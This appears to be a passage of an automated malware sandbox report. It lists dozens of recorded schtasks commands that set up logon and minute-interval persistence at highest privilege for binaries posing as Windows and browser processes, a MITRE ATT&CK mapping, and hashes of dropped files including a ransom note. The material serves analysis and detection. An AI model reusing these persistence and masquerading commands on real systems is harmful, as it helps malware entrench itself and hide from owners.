schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
PID:6192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 14 /tr "'C:\Users\Default\SendTo\firefox.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 7160 -ip 7160
1⤵
PID:6304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Windows\en-US\csrss.exe'" /f
1⤵
PID:6340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Users\Default\SendTo\firefox.exe'" /rl HIGHEST /f
1⤵
PID:5516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\en-US\csrss.exe'" /rl HIGHEST /f
1⤵
PID:6264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\Users\Default\SendTo\firefox.exe'" /rl HIGHEST /f
1⤵
PID:6496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
PID:5532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Windows\en-US\csrss.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Reference Assemblies\Microsoft\wininit.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\wininit.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Program Files\Reference Assemblies\Microsoft\wininit.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 9 /tr "'C:\Windows\ShellExperiences\firefox.exe'" /f
1⤵
PID:5620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\firefox.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\OfficeClickToRun.exe'" /f
1⤵
PID:6496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Mail\firefox.exe'" /rl HIGHEST /f
1⤵
PID:5980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\firefox.exe'" /rl HIGHEST /f
1⤵
PID:5624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\AppData\Roaming\Mozilla\Idle.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Common Files\DESIGNER\conhost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\Gadgets\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Roaming\Mozilla\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 8 /tr "'C:\Users\Default\My Documents\7f1630df6b57af024a3b561bdadc208f.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 13 /tr "'C:\Windows\ShellExperiences\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\AppData\Roaming\Mozilla\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Common Files\DESIGNER\conhost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f" /sc ONLOGON /tr "'C:\Users\Default\My Documents\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
1⤵
PID:6264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 8 /tr "'C:\Windows\Provisioning\Autopilot\firefox.exe'" /f
1⤵
PID:7288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 13 /tr "'C:\Users\Default\My Documents\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Program Files\Google\winlogon.exe'" /f
1⤵
PID:7480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Common Files\DESIGNER\conhost.exe'" /rl HIGHEST /f
1⤵
PID:7508

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Windows\Provisioning\Autopilot\firefox.exe'" /rl HIGHEST /f
1⤵
PID:7568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\lsass.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\lsass.exe'" /rl HIGHEST /f
1⤵
PID:7788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\Google\winlogon.exe'" /rl HIGHEST /f
1⤵
PID:7856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 5 /tr "'C:\Windows\Provisioning\Autopilot\firefox.exe'" /rl HIGHEST /f
1⤵
PID:8004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\msedge.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\lsass.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8060

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
PID:8152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 8 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\5e710462c65fe899466e4fb7c1e33c9a.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files\Google\winlogon.exe'" /rl HIGHEST /f
1⤵
PID:6948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\msedge.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a" /sc ONLOGON /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
PID:7024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
PID:6660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 5 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
PID:4612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\Windows\addins\firefox.exe'" /f
1⤵
PID:6116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\msedge.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Photo Viewer\OfficeClickToRun.exe'" /f
1⤵
PID:7224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Windows\addins\firefox.exe'" /rl HIGHEST /f
1⤵
PID:7636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
PID:7416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
PID:7868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 13 /tr "'C:\Windows\addins\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Darkest Dungeon setubD" /sc MINUTE /mo 5 /tr "'C:\Windows\LiveKernelReports\Darkest Dungeon setub.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Program Files\dotnet\swidtag\smss.exe'" /f
1⤵
PID:8096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\dotnet\swidtag\smss.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe'" /rl HIGHEST /f
1⤵
PID:8008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Darkest Dungeon setub" /sc ONLOGON /tr "'C:\Windows\LiveKernelReports\Darkest Dungeon setub.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\dotnet\swidtag\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Photo Viewer\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 11 /tr "'C:\Program Files\Internet Explorer\images\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:10156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Sidebar\SearchHost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:10192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Darkest Dungeon setubD" /sc MINUTE /mo 14 /tr "'C:\Windows\LiveKernelReports\Darkest Dungeon setub.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:10200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\images\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:7024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 11 /tr "'C:\Windows\en-US\unsecapp.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Sidebar\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:8264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\en-US\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 9 /tr "'C:\Windows\en-US\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:8884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:9076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:9676

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Scripting

T1064

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\PerfLogs\DZFHSJN-DECRYPT.txt

Filesize
8KB

MD5
4435a61df7ccb517a6060c86076157e5

SHA1
903591735f518e448ace9a97712499876efa890b

SHA256
3071228431e47c45e6ed9565b983a66445f8ece4e8a9256441eb4a997b38e3c6

SHA512
168868a45f6de68d546c7010da2c0547bdc72da549a4231cdbf1d8744473a3da4bda43103b1701bf904fd2b5bf3098a0d29609d367e7ec73aabf2b6ad36c5bf1

Download Submit
C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe

Filesize
233KB

MD5
4ef3177a2e94ce3d15ae9490a73a2212

SHA1
a34f47568ce7fcea97a002eebeae385efa98790c

SHA256
87353d18dfdebf4d0747bbf21d58adaed2b04060d61cba3fa052d522640520f0

SHA512
635ce5c0d1b9f7dd5d7b4c00f216af06dc7d818132ba87a57d3d54f6b30ee01f64430d2aa265f60027cc58dc2e738d5b674ee36ffdca34ff540ce44b7da7c502

Download Submit
C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe

Filesize
55KB

MD5
17315d95e80eb36cc51a7d25e4c8b231

SHA1
95006ad8de0a17dc3df6698e195e62b8ee32475e

SHA256
2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c

SHA512
481a15c46dcf38562aa989f52330e556da90a3ce00190cedb2e00b2a39df5db3bcc3af743060fd8c75933d6ae756aa4bbc176708f36d3b4aa443b4663ca94608

Download Submit
C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe

Filesize
37KB

MD5
5c8eb40a1344bd8b18c1ef0d95d433d4

SHA1
b6c1f037637936ae018cc5e3e17ab9f3cc8cb3ff

SHA256
31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65

SHA512
74aa4c3047e5fff0b0d903841ceb01cd0e9939244c9008a9ae6a77ee5484290e7a0df56bbfc422ff5cf80012e84b75af2cf8840fd6ce6c80ea361fa07e5da577

Download Submit
C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe

Filesize
93KB

MD5
7299c8fe0d2e5c385c4e4711260ee2b5

SHA1
4814f8494c3ff005203838e25a62cdb1ce5f8d68

SHA256
34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219

SHA512
2103b6e574657998159979c0d1e9021175732fffbfcba4ac1c3f778b33010129b9b9467b6f6a1e5f4095e9bf62d2212654f20c5a051cbb72158a2a8f399dfaad

Download Submit
C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe

Filesize
3.2MB

MD5
57ccb6f0bd910fed428761828ae93553

SHA1
71dfe6354ac308d03cf7219686358652b9a8d438

SHA256
7d357b523b5116915747af1fb0d5e6b20a472dd08fd4eda3d0733aeaf70dcd07

SHA512
44423e3df0d34d8917c82103f336cf0c61cd0aa2e3722e3baf9224daf0b620009967136b1625d2f783b1e36207ac529008d49235ae2ae50b01a9b053d0ba0878

Download Submit
C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe

Filesize
828KB

MD5
5e710462c65fe899466e4fb7c1e33c9a

SHA1
a0bee34a8865683de35502c1ed5ff41e86670718

SHA256
f4f54ed5ec3a6e3b427be418fa0f63061e2feffbb9c33ab3911404b1b8f93c7e

SHA512
35c4adede7a4f8baad61876de8821e91dfe4ace4ec721575fc8155f6e7d43c794a7d4741609fda24b16a82d3d9ae18bc35addb299416f59ad1cde74eedbfa0c2

Download Submit
C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe

Filesize
568KB

MD5
4448a3c2ddfdda45009b440faa39a5fe

SHA1
b16a26331d6ebe8f4a45b43e8b0251a715139b10

SHA256
70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2

SHA512
094cef6184c29430be5e4536b54cdfa632b52e7e09c7a4c04104d1b533113f6de6190d6525aac84ddba631220ee0b33a047272b952765977df336a5fa72425b0

Download Submit
C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe

Filesize
827KB

MD5
73c1c41b9e71c48e752a5cd19fe808b6

SHA1
b8bd41a0b9dc7baef6eb01dfe6c852afdfaeed18

SHA256
fce441edb227275c5380194cc7a96a95998de6d75cd601b73bce1be529a68bd6

SHA512
f146a8917d39aa29d52386f5a23bbc01fbfade291d576782b5cc80b0ca363fa24fee80f00cf81ffa40e12503fedd203b422b7ad97dbb0d4500152e86d974cb38

Download Submit
C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe

Filesize
268KB

MD5
fc57a660e24d9c91cb5464b2ece30756

SHA1
6d70e4dcd68ea6dae43cc381d4be84bcfad38eda

SHA256
75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa

SHA512
8f0fa0a2e5553a4059ac3e224ea8106131193f3cec7c23456507f8404c42440267efe88462cf31bcd3a6f9dba57011933a2a43e74b1cccd5d1a363497d1a3a67

Download Submit
C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Filesize
205KB

MD5
887b35a87fb75e2d889694143e3c9014

SHA1
c8be4500127bfce10ab38152a8a5003b75613603

SHA256
78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae

SHA512
98cf0e201092e6d43a7ec5db4d80e6cc20ec9a983098b04597039b244535f78a4096b76bc62e591336b810fafa302e1009a64be6e788f24dcc8b3ac0c8eb930a

Download Submit
C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe

Filesize
175KB

MD5
7f1630df6b57af024a3b561bdadc208f

SHA1
9b304cb2eff05f040b76eccc00ee55b914cf1839

SHA256
c9dbac4fe659e8918f50a4a157713e40d71e05367799af66d1d7845d958ee3f7

SHA512
742219cb5c76b9d39ed56cff988a533d19ef3e202e0fa48e9a3aed7dd9de190eef0c313bc974e37e7f363892eb6787bc66657324be2f0fb05d1b0021ae61ec9e

Download Submit
C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe

Filesize
308KB

MD5
938b92958ded4d50a357d22eddf141ad

SHA1
062f16b1cdfacc55f982908ee6c85fce6296805a

SHA256
93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f

SHA512
372942601188751cdbb79cc94469a66434ca2963591bb849137654622485cd92f4ac8fbbc9b83c3acdc128e354bb3b805af0fc0a465e0a2519d330f8ca9a6c36

Download Submit
C:\Program Files (x86)\BTZ.exe

Filesize
73KB

MD5
cff0392ac2a1d782f43f7938ea18af4f

SHA1
1dfd93a3106a1b4fd10cfaf8b8bb4bb606c4093d

SHA256
ecfed4163f7058856e1d253a29d06d808c069670e4a06cad66f42e71cbc83a2e

SHA512
